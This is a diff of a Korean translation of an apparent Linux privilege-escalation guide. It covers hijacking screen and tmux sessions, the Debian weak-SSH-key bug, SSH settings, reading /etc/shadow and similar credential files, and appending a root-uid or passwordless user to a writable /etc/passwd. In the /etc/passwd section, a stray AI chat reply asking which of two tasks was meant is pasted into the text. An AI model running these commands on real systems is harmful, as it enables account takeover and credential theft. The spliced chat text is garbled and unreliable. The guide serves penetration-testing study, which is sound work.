์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์„ธ์…˜ ๋‚ด๋ถ€์—์„œ **interesting information inside the session**์„(๋ฅผ) ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### screen sessions hijacking -**screen ์„ธ์…˜ ๋ชฉ๋ก ๋ณด๊ธฐ** +**screen sessions ๋ชฉ๋ก** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1184,9 +1189,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -์ด ๋ฌธ์ œ๋Š” **old tmux versions**์—์„œ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. non-privileged user๋กœ๋Š” root๊ฐ€ ์ƒ์„ฑํ•œ tmux (v2.1) ์„ธ์…˜์„ hijackํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. +์ด ๋ฌธ์ œ๋Š” **old tmux versions**์—์„œ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ์ €๋Š” non-privileged user๋กœ์„œ root์— ์˜ํ•ด ์ƒ์„ฑ๋œ tmux (v2.1) ์„ธ์…˜์„ hijackํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. -**List tmux sessions** +**tmux sessions ๋ชฉ๋ก ํ‘œ์‹œ** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1194,7 +1199,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**์„ธ์…˜์— ์—ฐ๊ฒฐํ•˜๊ธฐ** +**์„ธ์…˜์— Attach** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1204,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +์˜ˆ์ œ๋Š” **Valentine box from HTB**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006๋…„ 9์›”๋ถ€ํ„ฐ 2008๋…„ 5์›” 13์ผ ์‚ฌ์ด์— Debian ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ(Ubuntu, Kubuntu ๋“ฑ)์—์„œ ์ƒ์„ฑ๋œ ๋ชจ๋“  SSL ๋ฐ SSH ํ‚ค๋Š” ์ด ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์ด ๋ฒ„๊ทธ๋Š” ํ•ด๋‹น OS์—์„œ ์ƒˆ ssh ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. **๊ฐ€๋Šฅํ•œ ๋ณ€ํ˜•์ด 32,768๊ฐœ์— ๋ถˆ๊ณผํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค**. ์ด๋Š” ๋ชจ๋“  ๊ฒฝ์šฐ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, **ssh ๊ณต๊ฐœ ํ‚ค๊ฐ€ ์žˆ์œผ๋ฉด ํ•ด๋‹นํ•˜๋Š” ๊ฐœ์ธ ํ‚ค๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ณ„์‚ฐ๋œ ๊ฐ€๋Šฅ์„ฑ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006๋…„ 9์›”๋ถ€ํ„ฐ 2008๋…„ 5์›” 13์ผ ์‚ฌ์ด์— Debian ๊ณ„์—ด ์‹œ์Šคํ…œ(Ubuntu, Kubuntu ๋“ฑ)์—์„œ ์ƒ์„ฑ๋œ ๋ชจ๋“  SSL ๋ฐ SSH ํ‚ค๊ฐ€ ์ด ๋ฒ„๊ทธ์˜ ์˜ํ–ฅ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์ด ๋ฒ„๊ทธ๋Š” ํ•ด๋‹น OS์—์„œ ์ƒˆ ssh ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, **๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ์˜ ์ˆ˜๊ฐ€ ๋‹จ 32,768๊ฐœ๋ฟ์ด์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค**. ์ฆ‰ ๋ชจ๋“  ๊ฒฝ์šฐ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๊ณ , **ssh ๊ณต๊ฐœ ํ‚ค๋ฅผ ์•Œ๊ณ  ์žˆ์œผ๋ฉด ํ•ด๋‹น ๋น„๊ณต๊ฐœ ํ‚ค๋ฅผ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ณ„์‚ฐ๋œ ๊ฐ€๋Šฅํ•œ ํ‚ค ๋ชฉ๋ก์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH ํฅ๋ฏธ๋กœ์šด ์„ค์ • ๊ฐ’ +### SSH Interesting configuration values -- **PasswordAuthentication:** ํŒจ์Šค์›Œ๋“œ ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. +- **PasswordAuthentication:** ์•”ํ˜ธ ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. - **PubkeyAuthentication:** ๊ณต๊ฐœ ํ‚ค ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `yes`์ž…๋‹ˆ๋‹ค. -- **PermitEmptyPasswords**: ํŒจ์Šค์›Œ๋“œ ์ธ์ฆ์ด ํ—ˆ์šฉ๋  ๋•Œ, ์„œ๋ฒ„๊ฐ€ ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง„ ๊ณ„์ •์œผ๋กœ์˜ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. +- **PermitEmptyPasswords**: ์•”ํ˜ธ ์ธ์ฆ์ด ํ—ˆ์šฉ๋˜๋Š” ๊ฒฝ์šฐ, ์„œ๋ฒ„๊ฐ€ ๋นˆ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง„ ๊ณ„์ •์œผ๋กœ์˜ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ• ์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ### PermitRootLogin -root ์‚ฌ์šฉ์ž๊ฐ€ ssh๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฐ’: +root๊ฐ€ ssh๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ `no`์ž…๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฐ’: -- `yes`: root๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฐ ๊ฐœ์ธ ํ‚ค๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -- `without-password` or `prohibit-password`: root๋Š” ๊ฐœ์ธ ํ‚ค๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -- `forced-commands-only`: root๋Š” ๊ฐœ์ธ ํ‚ค๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ช…๋ น ์˜ต์…˜์ด ์ง€์ •๋œ ๊ฒฝ์šฐ์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค -- `no`: ํ—ˆ์šฉ๋˜์ง€ ์•Š์Œ +- `yes`: root๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ private key๋ฅผ ์‚ฌ์šฉํ•ด ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +- `without-password` or `prohibit-password`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +- `forced-commands-only`: root๋Š” private key๋กœ๋งŒ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ถ”๊ฐ€๋กœ commands ์˜ต์…˜์ด ์ง€์ •๋œ ๊ฒฝ์šฐ์—๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค +- `no`: ํ—ˆ์šฉ ์•ˆ ํ•จ ### AuthorizedKeysFile -์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐœ ํ‚ค๋ฅผ ํฌํ•จํ•˜๋Š” ํŒŒ์ผ์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ์—๋Š” `%h`์™€ ๊ฐ™์€ ํ† ํฐ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋  ๊ณต๊ฐœ ํ‚ค๊ฐ€ ๋“ค์–ด ์žˆ๋Š” ํŒŒ์ผ์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. `%h`์™€ ๊ฐ™์€ ํ† ํฐ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค. **์ ˆ๋Œ€ ๊ฒฝ๋กœ**(`/`๋กœ ์‹œ์ž‘) ๋˜๋Š” **์‚ฌ์šฉ์ž ํ™ˆ์—์„œ์˜ ์ƒ๋Œ€ ๊ฒฝ๋กœ**๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -ํ•ด๋‹น ๊ตฌ์„ฑ์€ ์‚ฌ์šฉ์ž์ธ **testusername**์˜ **private** key๋กœ ๋กœ๊ทธ์ธํ•˜๋ ค ์‹œ๋„ํ•  ๊ฒฝ์šฐ ssh๊ฐ€ ๋‹น์‹ ์˜ key์˜ public key๋ฅผ `/home/testusername/.ssh/authorized_keys` ๋ฐ `/home/testusername/access`์— ์žˆ๋Š” ํ•ญ๋ชฉ๋“ค๊ณผ ๋น„๊ตํ•  ๊ฒƒ์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +ํ•ด๋‹น ๊ตฌ์„ฑ์€ ์‚ฌ์šฉ์ž์ธ "**testusername**"์˜ **private** ํ‚ค๋กœ ๋กœ๊ทธ์ธํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉด ssh๊ฐ€ ๋‹น์‹  ํ‚ค์˜ ๊ณต๊ฐœํ‚ค๋ฅผ `/home/testusername/.ssh/authorized_keys` ๋ฐ `/home/testusername/access`์— ์žˆ๋Š” ํ‚ค๋“ค๊ณผ ๋น„๊ตํ•  ๊ฒƒ์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding๋Š” ์„œ๋ฒ„์— (ํŒจ์Šคํ”„๋ ˆ์ด์ฆˆ ์—†์ด!) ํ‚ค๋ฅผ ๋‚จ๊ฒจ๋‘์ง€ ์•Š๊ณ  ๋กœ์ปฌ SSH keys๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ssh๋กœ ํ•œ ํ˜ธ์ŠคํŠธ์— ์ ‘์†ํ•œ ๋’ค, ๊ทธ ํ˜ธ์ŠคํŠธ์— ์žˆ๋Š” key๋ฅผ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ๋กœ ๋‹ค์‹œ jumpํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +SSH agent forwarding์€ ์„œ๋ฒ„์— ํ‚ค( without passphrases!)๋ฅผ ๋‚จ๊ฒจ๋‘์ง€ ์•Š๊ณ  **use your local SSH keys instead of leaving keys** ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ssh๋ฅผ ํ†ตํ•ด **jump** **to a host**ํ•œ ๋‹ค์Œ, ๊ทธ๊ณณ์—์„œ **initial host**์— ์žˆ๋Š” **key**๋ฅผ **using**ํ•˜์—ฌ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ๋กœ **jump to another** ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์˜ต์…˜์€ `$HOME/.ssh.config`์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ``` Host example.com ForwardAgent yes ``` -์ฃผ์˜: `Host`๊ฐ€ `*`์ด๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ๋จธ์‹ ์œผ๋กœ ์ด๋™ํ•  ๋•Œ๋งˆ๋‹ค ํ•ด๋‹น ํ˜ธ์ŠคํŠธ๊ฐ€ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด๋Š” ๋ณด์•ˆ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค). +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -ํŒŒ์ผ `/etc/ssh_config`๋Š” ์ด **์˜ต์…˜**์„ **์žฌ์ •์˜**ํ•˜์—ฌ ์ด ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -ํŒŒ์ผ `/etc/sshd_config`๋Š” `AllowAgentForwarding` ํ‚ค์›Œ๋“œ๋กœ ssh-agent forwarding์„ **ํ—ˆ์šฉ**ํ•˜๊ฑฐ๋‚˜ **๊ฑฐ๋ถ€**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’์€ ํ—ˆ์šฉ). +ํŒŒ์ผ `/etc/ssh_config`์€ ์ด **์˜ต์…˜๋“ค์„ ์žฌ์ •์˜**ํ•˜์—ฌ ์ด ๊ตฌ์„ฑ์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +`/etc/sshd_config` ํŒŒ์ผ์€ `AllowAgentForwarding` ํ‚ค์›Œ๋“œ๋กœ ssh-agent ํฌ์›Œ๋”ฉ์„ **ํ—ˆ์šฉ**ํ•˜๊ฑฐ๋‚˜ **๊ฑฐ๋ถ€**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’์€ ํ—ˆ์šฉ). -ํ™˜๊ฒฝ์—์„œ Forward Agent๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”. **๊ถŒํ•œ ์ƒ์Šน์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1261,66 +1266,76 @@ ssh-forward-agent-exploitation.md ### ํ”„๋กœํ•„ ํŒŒ์ผ -ํŒŒ์ผ `/etc/profile` ๋ฐ `/etc/profile.d/` ์•„๋ž˜์˜ ํŒŒ์ผ๋“ค์€ **์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ ์‰˜์„ ์‹คํ–‰ํ•  ๋•Œ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค**์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ์ด๋“ค ์ค‘ ์–ด๋Š ํ•˜๋‚˜๋ฅผ **์“ฐ๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +`/etc/profile` ํŒŒ์ผ๊ณผ `/etc/profile.d/` ์•„๋ž˜์˜ ํŒŒ์ผ๋“ค์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ ์‰˜์„ ์‹คํ–‰ํ•  ๋•Œ **์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ, ๊ทธ ์ค‘ ์–ด๋Š ํ•˜๋‚˜๋ฅผ **์“ฐ๊ธฐ ๋˜๋Š” ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -์ˆ˜์ƒํ•œ ํ”„๋กœํ•„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด **๋ฏผ๊ฐํ•œ ์„ธ๋ถ€ ์ •๋ณด**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ด์ƒํ•œ ํ”„๋กœํŒŒ์ผ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด **๋ฏผ๊ฐํ•œ ์ •๋ณด**๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ### Passwd/Shadow ํŒŒ์ผ -OS์— ๋”ฐ๋ผ `/etc/passwd` ๋ฐ `/etc/shadow` ํŒŒ์ผ์˜ ์ด๋ฆ„์ด ๋‹ค๋ฅด๊ฑฐ๋‚˜ ๋ฐฑ์—…์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  ํŒŒ์ผ์„ **์ฐพ์•„๋ณด๊ณ **, **์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธ**ํ•˜์—ฌ ํŒŒ์ผ ๋‚ด๋ถ€์— **ํ•ด์‹œ๊ฐ€ ์žˆ๋Š”์ง€** ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค: +OS์— ๋”ฐ๋ผ `/etc/passwd` ๋ฐ `/etc/shadow` ํŒŒ์ผ์€ ๋‹ค๋ฅธ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๋ฐฑ์—…์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๋ชจ๋‘ ์ฐพ๊ณ ** **์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์—ฌ** ํŒŒ์ผ ๋‚ด๋ถ€์— **ํ•ด์‹œ๊ฐ€ ์žˆ๋Š”์ง€** ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -์–ด๋–ค ๊ฒฝ์šฐ์—๋Š” `/etc/passwd`(๋˜๋Š” ๋™๋“ฑํ•œ ํŒŒ์ผ) ์•ˆ์—์„œ **password hashes**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ ๊ฒฝ์šฐ์—๋Š” `/etc/passwd` (๋˜๋Š” ๋™๋“ฑํ•œ ํŒŒ์ผ) ์•ˆ์—์„œ **password hashes**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ /etc/passwd -๋จผ์ €, ๋‹ค์Œ ๋ช…๋ น์–ด๋“ค ์ค‘ ํ•˜๋‚˜๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. +๋จผ์ €, ๋‹ค์Œ ๋ช…๋ น์–ด ์ค‘ ํ•˜๋‚˜๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ ์‚ฌ์šฉ์ž `hacker`๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  ์ƒ์„ฑ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”. +์–ด๋–ค ์ž‘์—…์„ ์›ํ•˜์‹œ๋Š”์ง€ ํ™•์ธํ• ๊ฒŒ์š”โ€”๋‘ ๊ฐ€์ง€ ๊ฐ€๋Šฅํ•œ ํ•ด์„์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์›ํ•˜์‹œ๋Š” ์ชฝ์„ ์„ ํƒํ•ด ๋‹ตํ•ด ์ฃผ์„ธ์š”: + +1) README.md ํŒŒ์ผ ์ž์ฒด๋ฅผ ๋ฒˆ์—ญํ•˜๊ณ , ๊ทธ ๋ฒˆ์—ญ๋œ ๋ฌธ์„œ์— ์‚ฌ์šฉ์ž `hacker` ์™€ (์ƒ์„ฑํ•œ) ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•˜๋„๋ก ์ˆ˜์ •ํ•ด ๋‹ฌ๋ผ๋Š” ์˜๋ฏธ์ธ๊ฐ€์š”? +-> ๊ทธ๋Ÿฌ๋ฉด ๋ฒˆ์—ญํ•  ์›๋ณธ README.md ๋‚ด์šฉ์„ ๋ณด๋‚ด ์ฃผ์„ธ์š”. ํฌํ•จํ•  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ง์ ‘ ์ œ๊ณตํ•˜์‹œ๊ฑฐ๋‚˜ ์ œ๊ฐ€ ์ƒ์„ฑํ•ด ๋“œ๋ฆฌ๊ธธ ์›ํ•˜์‹œ๋ฉด ๊ธธ์ด(์˜ˆ: 12์ž)์™€ ํ—ˆ์šฉ ๋ฌธ์ž ๋ฒ”์œ„(์˜ˆ: ์•ŒํŒŒ๋ฒณ+์ˆซ์ž+ํŠน์ˆ˜๋ฌธ์ž)๋ฅผ ์•Œ๋ ค ์ฃผ์„ธ์š”. + +2) ์‹ค์ œ Linux ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉ์ž `hacker` ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  ์ƒ์„ฑํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ช…๋ น์„ ์›ํ•˜์‹œ๋Š” ๊ฑด๊ฐ€์š”? +-> ์ด ๊ฒฝ์šฐ, ์ž๋™์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ƒ์„ฑํ•ด ๋ช…๋ น ์˜ˆ์‹œ๋ฅผ ๋“œ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: + - ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ: openssl rand -base64 12 + - ์‚ฌ์šฉ์ž ์ถ”๊ฐ€: sudo useradd -m -s /bin/bash hacker + - ๋น„๋ฐ€๋ฒˆํ˜ธ ์„ค์ •: echo "hacker:์ƒ์„ฑ๋œ๋น„๋ฐ€๋ฒˆํ˜ธ" | sudo chpasswd + +์›ํ•˜์‹œ๋Š” ์˜ต์…˜(1 ๋˜๋Š” 2)๊ณผ, ์˜ต์…˜ 1์„ ํƒํ•˜์‹œ๋ฉด ์›๋ณธ ํŒŒ์ผ, ์˜ต์…˜ 2๋ฅผ ํƒํ•˜์‹œ๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ ๊ทœ์น™์„ ์•Œ๋ ค ์ฃผ์„ธ์š”. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` ์˜ˆ: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -์ด์ œ `hacker:hacker`๋กœ `su` ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +์ด์ œ `su` ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ `hacker:hacker`๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๋˜๋Š”, ์•”ํ˜ธ ์—†๋Š” ๋”๋ฏธ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ๋‹ค์Œ ์ค„์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ - -๊ฒฝ๊ณ : ํ˜„์žฌ ๋จธ์‹ ์˜ ๋ณด์•ˆ์ด ์ €ํ•˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋˜๋Š” ๋‹ค์Œ ๋ผ์ธ์„ ์‚ฌ์šฉํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์—†๋Š” ๋”๋ฏธ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +๊ฒฝ๊ณ : ์ด๋กœ ์ธํ•ด ๋จธ์‹ ์˜ ํ˜„์žฌ ๋ณด์•ˆ์ด ์ €ํ•˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -์ฐธ๊ณ : BSD ํ”Œ๋žซํผ์—์„œ๋Š” `/etc/passwd`๊ฐ€ `/etc/pwd.db` ๋ฐ `/etc/master.passwd`์— ์œ„์น˜ํ•ด 